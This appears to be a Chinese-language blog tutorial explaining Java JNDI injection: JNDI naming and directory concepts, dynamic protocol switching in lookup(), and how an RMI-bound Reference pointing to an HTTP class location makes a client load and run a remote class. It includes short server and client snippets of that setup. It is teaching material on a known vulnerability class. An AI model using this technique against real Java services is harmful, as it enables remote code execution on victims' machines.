Java-JNDI注入

文章发布时间:

最后更新时间:

文章总字数:
1.4k

预计阅读时间:
5 分钟

Java-JNDI注入

简要概括:jndi注入通过访问RMI服务或LADP服务来利用动态类加载完成攻击。

JNDI基本概念

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说就是jndi提供了统一的接口来方便地访问各种命名服务目录系统

image-20230723111417784

命名服务

命名服务就是一种简单的键值对绑定,可以通过键名来检索值,RMI就是一种命名服务。

目录服务

目录服务是命名服务的拓展,它与命名服务的区别就是它可以通过对象属性来检索对象,这种层级关系很像目录关系(在磁盘里找文件),LDAP就是一种目录服务。

其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。

jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。

image-20230723111805844

JNDI代码实现

服务器端与实现RMI并无差别,一样写接口,实现接口,绑定到rmi注册表

而用户端就要实现JNDI工厂,并配置url和端口。

1
2
3
4
5
6
7
8
9
10
11
12
public class RMIclient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
Context ctx = new InitialContext(env);
//创建properties对象,并获取context,就可以使用ctx来lookup远程对象,而不用像RMI一样获取Registry
IRemoteObj remoteObj = (IRemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj") ;
String str = remoteObj.up("abcdefg");
System.out.println(str);
}
}

JNDI注入攻击

JNDI动态协议转换

上面的客户端不仅配置了jndi的初始化,还配置了Context.PROVIDER_URL,这个属性指定了应该去哪里加载本地没有的类,所以,上面的客户端代码中ctk.lookup("rmi://localhost:1099/hello")这一处代码改为ctk.lookup("hello")也是没啥问题的。

但是,由于动态协议转换,即时提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像上述代码中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

但是仅仅加载一个恶意的类并不能直接调用方法,需要让类初始化来调用静态代码块,这就需要借助JNDI Naming Reference。

JNDI Naming Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,从而实现动态类加载运行代码,创建Reference实例时三个比较关键的属性:

className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

服务端创建Reference实例并进行远程绑定到注册中心:

1
2
3
4
5
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);//指定了寻找test类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);//封装一下
registry.bind("obj",referenceWrapper);

这个url是用来远程加载类的,提供恶意class数据。

JNDI注入

原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

按上面的代码来说就是获取到Reference对象reference后,寻找指定的test类,找不到就会去指定url中寻找,然后实例化在url中找到的类,进而导致代码执行。

客户端通过jndi来lookup:

1
2
3
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);

参考链接: